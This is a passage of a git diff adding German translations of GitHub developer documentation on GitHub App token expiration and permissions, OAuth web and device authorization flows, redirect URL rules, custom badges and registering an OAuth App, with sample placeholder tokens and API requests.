+  "refresh_token": "ghr_1B4a2e77838347a7E420ce178F2E7c6912E169246c34E1ccbF66C46812d16D5B1A9Dc86A1498",
+  "refresh_token_expires_in": "15811200",
+  "scope": "",
+  "token_type": "bearer"
+}
+```
+## Configuring expiring user tokens for an existing GitHub App
+
+You can enable or disable expiring user-to-server authorization tokens from your {% data variables.product.prodname_github_app %} settings.
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.github_apps %}
+4. Click **Edit** next to your chosen {% data variables.product.prodname_github_app %}.
+  ![Settings to edit a GitHub App](/assets/images/github-apps/edit-test-app.png)
+5. In the left sidebar, click **Optional Features**.
+   ![Optional features tab](/assets/images/github-apps/optional-features-option.png) 
+6. Next to "User-to-server token expiration", click **Opt-in** or **Opt-out**. This setting may take a couple of seconds to apply.
+
+## Opting out of expiring tokens for new GitHub Apps
+
+When you create a new {% data variables.product.prodname_github_app %}, by default your app will use expiring user-to-server access tokens.
+
+If you want your app to use non-expiring user-to-server access tokens, you can deselect "Expire user authorization tokens" on the app settings page.
+
+![Option to opt-in to expiring user tokens during GitHub Apps setup](/assets/images/github-apps/expire-user-tokens-selection.png)
+
+Existing {% data variables.product.prodname_github_apps %} using user-to-server authorization tokens are only affected by this new flow when the app owner enables expiring user tokens for their app.
+
+Enabling expiring user tokens for existing {% data variables.product.prodname_github_apps %} requires sending users through the OAuth flow to re-issue new user tokens that will expire in 8 hours and making a request with the refresh token to get a new access token and refresh token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+
+## Further reading
+
+- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)"
+
diff --git a/translations/de-DE/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md b/translations/de-DE/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md
new file mode 100644
index 0000000000..9442a15082
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md
@@ -0,0 +1,24 @@
+---
+title: Festlegen von Berechtigungen für GitHub-Apps
+intro: '{% data reusables.shortdesc.permissions_github_apps %}'
+redirect_from:
+  - /apps/building-integrations/setting-up-and-registering-github-apps/about-permissions-for-github-apps
+  - /apps/building-github-apps/permissions-for-github-apps
+  - /apps/building-github-apps/setting-permissions-for-github-apps
+  - /developers/apps/setting-permissions-for-github-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Set permissions
+ms.openlocfilehash: 3dbd9a25e319132c3a16aee32fba3da78864568b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145090019'
+---
+GitHub-Apps verfügen standardmäßig nicht über Berechtigungen. Wenn du eine GitHub-App erstellst, kannst du die Berechtigungen auswählen, die für den Zugriff auf Endbenutzerdaten erforderlich sind. Berechtigungen können auch hinzugefügt und entfernt werden. Weitere Informationen findest du unter [Bearbeiten der Berechtigungen einer GitHub-App](/apps/managing-github-apps/editing-a-github-app-s-permissions/).
diff --git a/translations/de-DE/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md b/translations/de-DE/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md
new file mode 100644
index 0000000000..d62f073ecb
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md
@@ -0,0 +1,347 @@
+---
+title: Autorisieren von OAuth-Apps
+intro: '{% data reusables.shortdesc.authorizing_oauth_apps %}'
+redirect_from:
+  - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-authorization-options-for-oauth-apps
+  - /apps/building-integrations/setting-up-and-registering-oauth-apps/directing-users-to-review-their-access
+  - /apps/building-integrations/setting-up-and-registering-oauth-apps/creating-multiple-tokens-for-oauth-apps
+  - /v3/oauth
+  - /apps/building-oauth-apps/authorization-options-for-oauth-apps
+  - /apps/building-oauth-apps/authorizing-oauth-apps
+  - /developers/apps/authorizing-oauth-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - OAuth Apps
+ms.openlocfilehash: d35b65add4259df72d9ae8b179829a148abd7174
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106709'
+---
+Die OAuth-Implementierung von {% data variables.product.product_name %} unterstützt den [Standardautorisierungscode-Gewährungstyp](https://tools.ietf.org/html/rfc6749#section-4.1) und die OAuth 2.0-[Geräteautorisierungserteilung](https://tools.ietf.org/html/rfc8628) für Apps, die keinen Zugriff auf einen Webbrowser haben.
+
+Wenn du die Autorisierung deiner App auf übliche Art überspringen möchtest, z. B. beim Testen deiner App, kannst du den [Nicht-Webanwendungsfluss](#non-web-application-flow) verwenden.
+
+Überlege für die Autorisierung deiner OAuth-App, welcher Autorisierungsfluss am besten zu deiner App passt.
+
+- [Webanwendungsfluss](#web-application-flow): Wird verwendet, um Benutzer für Standard-OAuth-Apps zu autorisieren, die im Browser ausgeführt werden. (Der [implizite Gewährungstyp](https://tools.ietf.org/html/rfc6749#section-4.2) wird nicht unterstützt.)
+- [Gerätefluss](#device-flow): Wird für Headless-Apps verwendet, z. B. CLI-Tools.
+
+## Webanwendungsfluss
+
+{% note %}
+
+**Hinweis:** Wenn du eine GitHub App erstellst, kannst du den OAuth-Webanwendungsfluss weiterhin verwenden, aber das Setup hat einige wichtige Unterschiede. Weitere Informationen findest du unter [Identifizieren und Autorisieren von Benutzer*innen für GitHub-Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/).
+
+{% endnote %}
+
+Der Webanwendungsfluss zum Autorisieren von Benutzer*innen für deine App lautet wie folgt:
+
+1. Benutzer werden umgeleitet, um ihre GitHub-Identität anzufordern.
+2. Benutzer*innen werden von GitHub wieder zu deiner Website umgeleitet.
+3. Die App greift mit dem Zugriffstoken des Benutzers auf die API zu.
+
+### 1. Anfordern der GitHub-Identität eines Benutzers
+
+    GET {% data variables.product.oauth_host_code %}/login/oauth/authorize
+
+Wenn von der GitHub-App ein `login`-Parameter angegeben wird, erfolgt die Benutzeraufforderung mit einem bestimmten Konto, das die Benutzer für die Anmeldung und Autorisierung der App verwenden können.
+
+#### Parameter
+
+Name | type | BESCHREIBUNG
+-----|------|--------------
+`client_id`|`string` | **Erforderlich**. Die Client-ID, die du von GitHub bei deiner {% ifversion fpt or ghec %}[Registrierung](https://github.com/settings/applications/new){% else %}Registrierung{% endif %} erhalten hast.
+`redirect_uri`|`string` | Die URL in der Anwendung, an die Benutzer nach der Autorisierung gesendet werden. Weitere Informationen zu [Umleitungs-URLs](#redirect-urls) findest du unten.
+`login` | `string` | Schlägt ein bestimmtes Konto vor, das zum Anmelden und Autorisieren der App verwendet werden soll.
+`scope`|`string` | Eine durch Leerzeichen getrennte Liste von [Bereichen](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). Falls nicht angegeben, wird für `scope` standardmäßig eine leere Liste für Benutzer verwendet, die keine Bereiche für die Anwendung autorisiert haben. Für Benutzer, die über autorisierte Bereiche für die Anwendung verfügen, wird nicht die OAuth-Autorisierungsseite mit der Liste der Bereiche angezeigt. Stattdessen wird dieser Schritt des Flusses automatisch mit den Bereichen abgeschlossen, die der Benutzer für die Anwendung autorisiert hat. Wenn ein Benutzer beispielsweise den Webfluss schon zweimal ausgeführt hat und ein Token mit dem Bereich `user` und ein anderes Token mit dem Bereich `repo` autorisiert hat, erhält ein dritter Webfluss, der keinen Bereich (`scope`) bereitstellt, ein Token mit dem Bereich `user` und `repo`.
+`state` | `string` | {% data reusables.apps.state_description %}
+`allow_signup`|`string` | Gibt an, ob nicht authentifizierten Benutzern während des OAuth-Flusses eine Option zum Registrieren für GitHub angeboten wird. Der Standardwert lautet `true`. Verwende `false`, wenn eine Richtlinie die Anmeldung verbietet.
+
+### 2. Benutzer*innen werden von GitHub wieder zu deiner Website umgeleitet.
+
+Wenn der Benutzer die Anforderung akzeptiert, wird er von {% data variables.product.product_name %} mit einem temporären `code` in einem Codeparameter sowie dem Status, den du im vorherigen Schritt in einem `state`-Parameter bereitgestellt hast, wieder zu deiner Website umgeleitet. Der temporäre Code läuft nach 10 Minuten ab. Wenn die Zustände nicht übereinstimmen, hat ein Dritter die Anforderung erstellt, und du solltest den Prozess abbrechen.
+
+Tausche diesen `code` gegen ein Zugriffstoken aus:
+
+    POST {% data variables.product.oauth_host_code %}/login/oauth/access_token
+
+#### Parameter
+
+Name | type | BESCHREIBUNG
+-----|------|--------------
+`client_id` | `string` | **Erforderlich.** Die Client-ID, die du von {% data variables.product.product_name %} für deine {% data variables.product.prodname_oauth_app %} erhalten hast.
+`client_secret` | `string` | **Erforderlich.** Der geheime Clientschlüssel, den du von {% data variables.product.product_name %} für deine {% data variables.product.prodname_oauth_app %} erhalten hast.
+`code` | `string` | **Erforderlich.** Der Code, den du als Antwort auf Schritt 1 erhalten hast.
+`redirect_uri` | `string` | Die URL in der Anwendung, an die Benutzer nach der Autorisierung gesendet werden.
+
+#### Antwort
+
+Standardmäßig weist die Antwort das folgende Format auf:
+
+```
+access_token=gho_16C7e42F292c6912E7710c838347Ae178B4a&scope=repo%2Cgist&token_type=bearer
+```
+
+{% data reusables.apps.oauth-auth-vary-response %}
+
+```json
+Accept: application/json
+{
+  "access_token":"gho_16C7e42F292c6912E7710c838347Ae178B4a",
+  "scope":"repo,gist",
+  "token_type":"bearer"
+}
+```
+
+```xml
+Accept: application/xml
+<OAuth>
+  <token_type>bearer</token_type>
+  <scope>repo,gist</scope>
+  <access_token>gho_16C7e42F292c6912E7710c838347Ae178B4a</access_token>
+</OAuth>
+```
+
+### 3. Verwenden des Zugriffstokens für den Zugriff auf die API
+
+Mit dem Zugriffstoken kannst du Anforderungen an die API im Namen eines Benutzers vornehmen.
+
+    Authorization: Bearer OAUTH-TOKEN
+    GET {% data variables.product.api_url_code %}/user
+
+In curl kannst du beispielsweise den Autorisierungsheader wie folgt festlegen:
+
+```shell
+curl -H "Authorization: Bearer OAUTH-TOKEN" {% data variables.product.api_url_pre %}/user
+```
+
+## Gerätefluss
+
+{% note %}
+
+**Hinweis:** Der Gerätefluss befindet sich in der öffentlichen Betaversion und kann geändert werden.
+
+{% endnote %}
+
+Mit dem Gerätefluss kannst du Benutzer für eine monitorlose App autorisieren, z. B. ein CLI-Tool oder Git Credential Manager.
+
+{% ifversion device-flow-is-opt-in %}
+
+Bevor du den Gerätefluss verwenden können, um Benutzer zu autorisieren und zu identifizieren, musst du ihn zuerst in den Einstellungen deiner App aktivieren. Weitere Informationen zum Aktivieren des Geräteflusses in deiner App findest du unter [Ändern einer OAuth App](/developers/apps/managing-oauth-apps/modifying-an-oauth-app) für OAuth-Apps und [Ändern einer GitHub-App](/developers/apps/managing-github-apps/modifying-a-github-app) für GitHub-Apps.
+
+{% endif %}
+
+### Übersicht über den Gerätefluss
+
+1. Deine App fordert Geräte- und Benutzerüberprüfungscodes an und ruft die Autorisierungs-URL ab, in die die Benutzer*innen den Benutzerüberprüfungscode eingeben.
+2. Die App fordert den Benutzer auf, einen Benutzerüberprüfungscode bei {% data variables.product.device_authorization_url %} einzugeben.
+3.  Die App fragt den Benutzerauthentifizierungsstatus ab. Nachdem der Benutzer das Gerät autorisiert hat, kann die App API-Aufrufe mit einem neuen Zugriffstoken tätigen.
+
+### Schritt 1: App fordert die Geräte- und Benutzerüberprüfungscodes von GitHub an
+
+    POST {% data variables.product.oauth_host_code %}/login/device/code
+
+Deine App muss einen Benutzerüberprüfungscode und eine Überprüfungs-URL anfordern, die die App verwendet, um die Benutzer*innen im nächsten Schritt zum Authentifizieren aufzufordern. Diese Anforderung gibt auch einen Geräteüberprüfungscode zurück, den die App verwenden muss, um ein Zugriffstoken zu empfangen und den Status der Benutzerauthentifizierung zu überprüfen.
+
+#### Eingabeparameter
+
+Name | type | BESCHREIBUNG
+-----|------|--------------
+`client_id` | `string` | **Erforderlich.** Die Client-ID, die du von {% data variables.product.product_name %} für deine App erhalten hast.
+`scope` | `string` | Bereich, für den deine App Zugriffsberechtigungen anfordert
+
+#### Antwort
+
+Standardmäßig weist die Antwort das folgende Format auf:
+
+```
+device_code=3584d83530557fdd1f46af8289938c8ef79f9dc5&expires_in=900&interval=5&user_code=WDJB-MJHT&verification_uri=https%3A%2F%{% data variables.product.product_url %}%2Flogin%2Fdevice
+```
+
+{% data reusables.apps.oauth-auth-vary-response %}
+
+```json
+Accept: application/json
+{
+  "device_code": "3584d83530557fdd1f46af8289938c8ef79f9dc5",
+  "user_code": "WDJB-MJHT",
+  "verification_uri": "{% data variables.product.oauth_host_code %}/login/device",
+  "expires_in": 900,
+  "interval": 5
+}
+```
+
+```xml
+Accept: application/xml
+<OAuth>
+  <device_code>3584d83530557fdd1f46af8289938c8ef79f9dc5</device_code>
+  <user_code>WDJB-MJHT</user_code>
+  <verification_uri>{% data variables.product.oauth_host_code %}/login/device</verification_uri>
+  <expires_in>900</expires_in>
+  <interval>5</interval>
+</OAuth>
+```
+
+#### Antwortparameter
+
+Name | type | BESCHREIBUNG
+-----|------|--------------
+`device_code` | `string` | Der Geräteüberprüfungscode umfasst 40 Zeichen und wird verwendet, um das Gerät zu überprüfen.
+`user_code` | `string` | Der Benutzerüberprüfungscode wird auf dem Gerät angezeigt, damit der Benutzer den Code in einen Browser eingeben kann. Dieser Code umfasst 8 Zeichen mit einem Bindestrich in der Mitte.
+`verification_uri` | `string` | Die Überprüfungs-URL, in der Benutzer den Benutzercode (`user_code`) eingeben müssen: {% data variables.product.device_authorization_url %}.
+`expires_in` | `integer`| Die Anzahl der Sekunden, bevor `device_code` und `user_code` ablaufen. Der Standardwert beträgt 900 Sekunden (oder 15 Minuten).
+`interval` | `integer` | Die Zeit in Sekunden, die mindestens verstreichen muss, bevor du eine neue Zugriffstokenanforderung (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) vornehmen kannst, um die Geräteautorisierung abzuschließen. Wenn das Intervall beispielsweise 5 ist, kannst du erst eine neue Anforderung vornehmen, wenn 5 Sekunden vergangen sind. Wenn du mehr als eine Anforderung in 5 Sekunden vornimmst, wird der Grenzwert für die Rate erreicht und ein `slow_down`-Fehler angezeigt.
+
+### Schritt 2: Fordere den Benutzer auf, den Benutzercode in einen Browser einzugeben
+
+Dein Gerät zeigt den Benutzerüberprüfungscode an und fordert die Benutzer*innen auf, den Code unter {% data variables.product.device_authorization_url %} einzugeben.
+
+  ![Feld, um den Benutzerüberprüfungscode einzugeben, der auf deinem Gerät angezeigt wird](/assets/images/github-apps/device_authorization_page_for_user_code.png)
+
+### Schritt 3: App fragt GitHub ab, um zu überprüfen, ob der Benutzer das Gerät autorisiert hat
+
+    POST {% data variables.product.oauth_host_code %}/login/oauth/access_token
+
+Deine App stellt Geräteautorisierungsanforderungen, die `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` abfragen, bis Geräte- und Benutzercodes ablaufen oder Benutzer*innen die App erfolgreich mit einem gültigen Benutzercode autorisiert haben. Die App muss das Mindestabrufintervall (`interval`) verwenden, das in Schritt 1 abgerufen wird, um Fehler durch Ratenbegrenzung zu vermeiden. Weitere Informationen findest du unter [Grenzwerte für den Gerätefluss](#rate-limits-for-the-device-flow).
+
+Der Benutzer muss innerhalb von 15 Minuten (oder 900 Sekunden) einen gültigen Code eingeben. Nach 15 Minuten musst du mit `POST {% data variables.product.oauth_host_code %}/login/device/code` einen neuen Geräteautorisierungscode anfordern.
+
+Nachdem der Benutzer autorisiert wurde, erhält die App ein Zugriffstoken, das verwendet werden kann, um im Auftrag eines Benutzers Anforderungen an die API vorzunehmen.
+
+#### Eingabeparameter
+
+Name | type | BESCHREIBUNG
+-----|------|--------------
+`client_id` | `string` | **Erforderlich.** Die Client-ID, die du von {% data variables.product.product_name %} für deine {% data variables.product.prodname_oauth_app %} erhalten hast.
+`device_code` | `string` | **Erforderlich.** Der Geräteüberprüfungscode, den du von der `POST {% data variables.product.oauth_host_code %}/login/device/code`-Anforderung erhalten hast.
+`grant_type` | `string` | **Erforderlich.** Der Gewährungstyp muss `urn:ietf:params:oauth:grant-type:device_code` sein.
+
+#### Antwort
+
+Standardmäßig weist die Antwort das folgende Format auf:
+
+```
+access_token=gho_16C7e42F292c6912E7710c838347Ae178B4a&token_type=bearer&scope=repo%2Cgist
+```
+
+{% data reusables.apps.oauth-auth-vary-response %}
+
+```json
+Accept: application/json
+{
+ "access_token": "gho_16C7e42F292c6912E7710c838347Ae178B4a",
+  "token_type": "bearer",
+  "scope": "repo,gist"
+}
+```
+
+```xml
+Accept: application/xml
+<OAuth>
+  <access_token>gho_16C7e42F292c6912E7710c838347Ae178B4a</access_token>
+  <token_type>bearer</token_type>
+  <scope>gist,repo</scope>
+</OAuth>
+```
+
+### Grenzwerte für den Gerätefluss
+
+Wenn ein Benutzer den Überprüfungscode im Browser sendet, gibt es einen Grenzwert von 50 Übermittlungen in einer Stunde pro Anwendung.
+
+Wenn du mehr als eine Zugriffstokenanforderung (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) innerhalb des erforderlichen Mindestzeitrahmens zwischen Anforderungen (oder `interval`) vornimmst, wird der Grenzwert für die Rate erreicht und ein `slow_down`-Fehler angezeigt. Die `slow_down`-Fehlerantwort fügt dem letzten Intervall (`interval`) 5 Sekunden hinzu. Weitere Informationen findest du unter [Fehler für den Gerätefluss](#errors-for-the-device-flow).
+
+### Fehlercodes für den Gerätefluss
+
+| Fehlercode | BESCHREIBUNG |
+|----|----|
+| `authorization_pending`| Dieser Fehler tritt auf, wenn die Autorisierungsanforderung aussteht und der Benutzer noch nicht den Benutzercode eingegeben hat. Von der App wird erwartet, dass sie weiterhin die `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`-Anforderung ohne Überschreiten des Intervalls ([`interval`](#response-parameters)) abfragt, was eine Mindestanzahl von Sekunden zwischen jeder Anforderung erfordert. |
+| `slow_down` | Wenn du den `slow_down`-Fehler erhältst, werden 5 zusätzliche Sekunden dem Mindestintervall (`interval`) oder -zeitrahmen hinzugefügt, das bzw. der zwischen deinen Anforderungen mit `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` erforderlich ist. Wenn beispielsweise für das Startintervall mindestens 5 Sekunden zwischen Anforderungen erforderlich waren und ein `slow_down`-Fehler angezeigt wird, musst du jetzt mindestens 10 Sekunden warten, bevor du eine neue Anforderung für ein OAuth-Zugriffstoken vornimmst. Die Fehlerantwort enthält den neuen Wert für `interval`, den du verwenden musst.
+| `expired_token` | Wenn der Gerätecode abgelaufen ist, wird der `token_expired`-Fehler angezeigt. Du musst eine neue Anforderung für einen Gerätecode vornehmen.
+| `unsupported_grant_type` | Der Gewährungstyp muss `urn:ietf:params:oauth:grant-type:device_code` sein und als Eingabeparameter enthalten sein, wenn du die OAuth-Tokenanforderung `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` abfragst.
+| `incorrect_client_credentials` | Für den Gerätefluss musst du die Client-ID deiner App übergeben, die du auf der Seite „Einstellungen“ deiner App findest. Der geheime Clientschlüssel (`client_secret`) ist für den Gerätefluss nicht erforderlich.
+| `incorrect_device_code` | Der angegebene device_code ist ungültig.
+| `access_denied` | Wenn Benutzer*innen während des Autorisierungsprozesses auf „Abbrechen“ klicken, wird ein `access_denied`-Fehler angezeigt, und die Benutzer*innen können den Überprüfungscode nicht noch mal verwenden.{% ifversion device-flow-is-opt-in %}
+| `device_flow_disabled` | Der Gerätefluss wurde in den Einstellungen der App nicht aktiviert. Weitere Informationen findest du unter [Gerätefluss](#device-flow). {% endif %}
+
+Weitere Informationen findest du unter [OAuth 2.0-Geräteautorisierungsgewährung](https://tools.ietf.org/html/rfc8628#section-3.5).
+
+## Nicht-Webanwendungsfluss
+
+Nicht-Webauthentifizierung ist für begrenzte Situationen wie Tests verfügbar. Bei Bedarf kannst du mithilfe der [Standardauthentifizierung](/rest/overview/other-authentication-methods#basic-authentication) ein {% data variables.product.pat_generic %} mithilfe deiner [{% data variables.product.pat_generic %}-Einstellungsseite](/articles/creating-an-access-token-for-command-line-use) erstellen. Mit dieser Technik kann der Benutzer den Zugriff jederzeit widerrufen.
+
+{% ifversion fpt or ghes or ghec %} {% note %}
+
+**Hinweis:** Wenn du den Nicht-Webanwendungsfluss verwendest, um ein OAuth2-Token zu erstellen, musst du verstehen, wie du [mit zweistufiger Authentifizierung arbeitest](/rest/overview/other-authentication-methods#working-with-two-factor-authentication), wenn du oder deine Benutzer zweistufige Authentifizierung aktiviert haben.
+
+{% endnote %} {% endif %}
+
+## Umleitungs-URLs
+
+Das `redirect_uri` ist optional. Wenn ausgelassen, leitet GitHub Benutzer an die Rückruf-URL um, die in den OAuth-Anwendungseinstellungen konfiguriert ist. Wenn angegeben, müssen Host (Unterdomänen ausgenommen) und Port der Umleitungs-URL genau mit der Rückruf-URL übereinstimmen. Der Pfad der Umleitungs-URL muss auf ein Unterverzeichnis der Rückruf-URL verweisen.
+
+    CALLBACK: http://example.com/path
+
+    GOOD: http://example.com/path
+    GOOD: http://example.com/path/subdir/other
+    GOOD: http://oauth.example.com/path
+    GOOD: http://oauth.example.com/path/subdir/other
+    BAD:  http://example.com/bar
+    BAD:  http://example.com/
+    BAD:  http://example.com:8080/path
+    BAD:  http://oauth.example.com:8080/path
+    BAD:  http://example.org
+
+### Loopback-Umleitungs-URLs
+
+Der optionale Parameter `redirect_uri` kann auch für Loopback-URLs verwendet werden. Wenn die Anwendung eine Loopback-URL und einen Port angibt, werden Benutzer nach der Autorisierung der Anwendung an die angegebene URL und den Port weitergeleitet. Der `redirect_uri` muss nicht mit dem Port übereinstimmen, der in der Rückruf-URL für die App angegeben ist.
+
+Für die `http://127.0.0.1/path`-Rückruf-URL kannst du folgenden `redirect_uri` verwenden:
+
+```
+http://127.0.0.1:1234/path
+```
+
+Beachte, dass OAuth RFC [empfiehlt, nicht `localhost` zu verwenden](https://datatracker.ietf.org/doc/html/rfc8252#section-7.3), sondern stattdessen Loopback-Literal `127.0.0.1` oder IPv6 `::1`.
+
+## Erstellen mehrerer Token für OAuth-Apps
+
+Du kannst mehrere Token für eine Kombination aus Benutzer/Anwendung/Bereich erstellen, um Token für bestimmte Anwendungsfälle zu erstellen.
+
+Dies ist nützlich, wenn deine OAuth-App einen Workflow unterstützt, der GitHub für die Anmeldung verwendet und nur grundlegende Benutzerinformationen erfordert. Ein anderer Workflow kann den Zugriff auf private Repositorys eines Benutzers erfordern. Mithilfe mehrerer Token kann deine OAuth-App den Webfluss für jeden Anwendungsfall ausführen und nur die erforderlichen Bereiche anfordern. Wenn Benutzer*innen deine Anwendung nur zum Anmelden verwenden, sind sie niemals erforderlich, um deiner OAuth-App Zugriff auf ihre privaten Repositorys zu gewähren.
+
+{% data reusables.apps.oauth-token-limit %}
+
+{% data reusables.apps.deletes_ssh_keys %}
+
+## Anleiten von Benutzern, ihren Zugriff zu überprüfen
+
+Du kannst Autorisierungsinformationen für eine OAuth-App verknüpfen, damit Benutzer ihre Anwendungsberechtigungen überprüfen und widerrufen können.
+
+Zum Erstellen dieses Links benötigst du deine OAuth-Apps-`client_id`, die du von GitHub erhalten hast, wenn du die Anwendung registriert hast.
+
+```
+{% data variables.product.oauth_host_code %}/settings/connections/applications/:client_id
+```
+
+{% tip %}
+
+**Tipp:** Weitere Informationen zu den Ressourcen, auf die deine OAuth-App für einen Benutzer zugreifen kann, findest du unter [Ermitteln von Ressourcen für einen Benutzer](/rest/guides/discovering-resources-for-a-user).
+
+{% endtip %}
+
+## Problembehandlung
+
+* [Problembehandlung bei Autorisierungsanforderungsfehlern](/apps/managing-oauth-apps/troubleshooting-authorization-request-errors)
+* [Problembehandlung bei OAuth App-Zugriffstokenanforderungsfehlern](/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors)
+* [Geräteflussfehler](#error-codes-for-the-device-flow)
+* [Tokenablauf und Sperrung](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)
+
+## Weitere Informationsquellen
+
+- [Informationen zur Authentifizierung in {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)
diff --git a/translations/de-DE/content/developers/apps/building-oauth-apps/creating-a-custom-badge-for-your-oauth-app.md b/translations/de-DE/content/developers/apps/building-oauth-apps/creating-a-custom-badge-for-your-oauth-app.md
new file mode 100644
index 0000000000..d43b907e2e
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-oauth-apps/creating-a-custom-badge-for-your-oauth-app.md
@@ -0,0 +1,51 @@
+---
+title: Creating a custom badge for your OAuth App
+intro: '{% data reusables.shortdesc.creating_custom_badges_oauth_apps %}'
+redirect_from:
+  - /apps/building-oauth-apps/creating-custom-badges-for-oauth-apps
+  - /developers/apps/creating-a-custom-badge-for-your-oauth-app
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - OAuth Apps
+shortTitle: Create custom badges
+---
+By default, a new OAuth App will have an automatically generated [identicon](https://github.com/blog/1586-identicons).
+An identicon badge looks something like this:
+
+![Identicon](/assets/images/identicon.png)
+
+After you create an OAuth App, you can customize the app's badge by uploading a logo and selecting a background color. A badge is a square logo image inside of a circular badge. You can choose a background color for the badge, which can be used to visually distinguish your app.
+
+Your logo should be a PNG, JPG, or GIF file under 1 MB in size. For the best quality rendering, we recommend an image size of at least 200px x 200px. {% ifversion fpt or ghec %}See "[Tips for logo and badge images](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/#guidelines-for-logos)" for more guidance on customizing badges.{% endif %}
+
+{% ifversion fpt or ghec %}
+
+You can change a custom badge for a GitHub App that already has an approved Marketplace listing by navigating to https://github.com/marketplace/manage.
+
+{% endif %}
+
+To create a custom badge:
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.oauth_apps %}
+{% data reusables.user-settings.modify_oauth_app %}
+1. In "Application logo", drag-and-drop an image from a local folder or click **Upload new logo** to select an image from your computer.
+![Upload a logo](/assets/images/oauth-apps/oauth_apps_upload_logo.png)
+6. Crop your picture. When you're done, click **Set new application logo**.
+![Crop and set logo](/assets/images/oauth-apps/oauth_apps_crop_and_set_logo.png)
+7. In "Badge background color", type the [hexadecimal color code](http://www.color-hex.com/) of the background color for your badge. {% ifversion fpt or ghec %}**Note:** The "Badge background color" input field will be visible after an application logo has been uploaded.{% endif %}
+![Badge background color](/assets/images/oauth-apps/oauth_apps_badge_background_color.png)
+{% data reusables.user-settings.update_oauth_app %}
+
+{% ifversion fpt or ghec %}
+
+## Next steps
+
+For more information about creating a Marketplace listing for this app, see "[Listing on GitHub Marketplace](/marketplace/listing-on-github-marketplace/)".
+
+{% endif %}
diff --git a/translations/de-DE/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md b/translations/de-DE/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md
new file mode 100644
index 0000000000..2658dd1ee2
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md
@@ -0,0 +1,60 @@
+---
+title: Creating an OAuth App
+intro: '{% data reusables.shortdesc.creating_oauth_apps %}'
+redirect_from:
+  - /apps/building-integrations/setting-up-and-registering-oauth-apps/registering-oauth-apps
+  - /apps/building-oauth-apps/creating-an-oauth-app
+  - /developers/apps/creating-an-oauth-app
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - OAuth Apps
+---
+{% ifversion fpt or ghec %}
+{% note %}
+
+  **Note:** {% data reusables.apps.maximum-oauth-apps-allowed %}
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.oauth_apps %}
+4. Click **New OAuth App**.
+![Button to create a new OAuth app](/assets/images/oauth-apps/oauth_apps_new_app.png)
+
+  {% note %}
+
+  **Note:** If you haven't created an app before, this button will say, **Register a new application**.
+
+  {% endnote %}
+6. In "Application name", type the name of your app.
+![Field for the name of your app](/assets/images/oauth-apps/oauth_apps_application_name.png)
+
+  {% warning %}
+
+  **Warning:**  Only use information in your OAuth app that you consider public. Avoid using sensitive data, such as internal URLs, when creating an OAuth App.
+
+  {% endwarning %}
+
+7. In "Homepage URL", type the full URL to your app's website.
+![Field for the homepage URL of your app](/assets/images/oauth-apps/oauth_apps_homepage_url.png)
+8. Optionally, in "Application description", type a description of your app that users will see.
+![Field for a description of your app](/assets/images/oauth-apps/oauth_apps_application_description.png)
+9. In "Authorization callback URL", type the callback URL of your app.
+![Field for the authorization callback URL of your app](/assets/images/oauth-apps/oauth_apps_authorization_callback_url.png)
+{% ifversion fpt or ghes or ghec %}
+   {% note %}
+
+   **Note:** OAuth Apps cannot have multiple callback URLs, unlike {% data variables.product.prodname_github_apps %}.
+
+   {% endnote %}
+{% endif %}{% ifversion device-flow-is-opt-in %}
+1. If your OAuth App will use the device flow to identify and authorize users, click **Enable Device Flow**. For more information about the device flow, see "[Authorizing OAuth Apps](/developers/apps/building-oauth-apps/authorizing-oauth-apps#device-flow)."
+  ![Screenshot showing field for enabling device flow](/assets/images/oauth-apps/enable-device-flow.png){% endif %}
+2.  Click **Register application**.
+![Button to register an application](/assets/images/oauth-apps/oauth_apps_register_application.png)
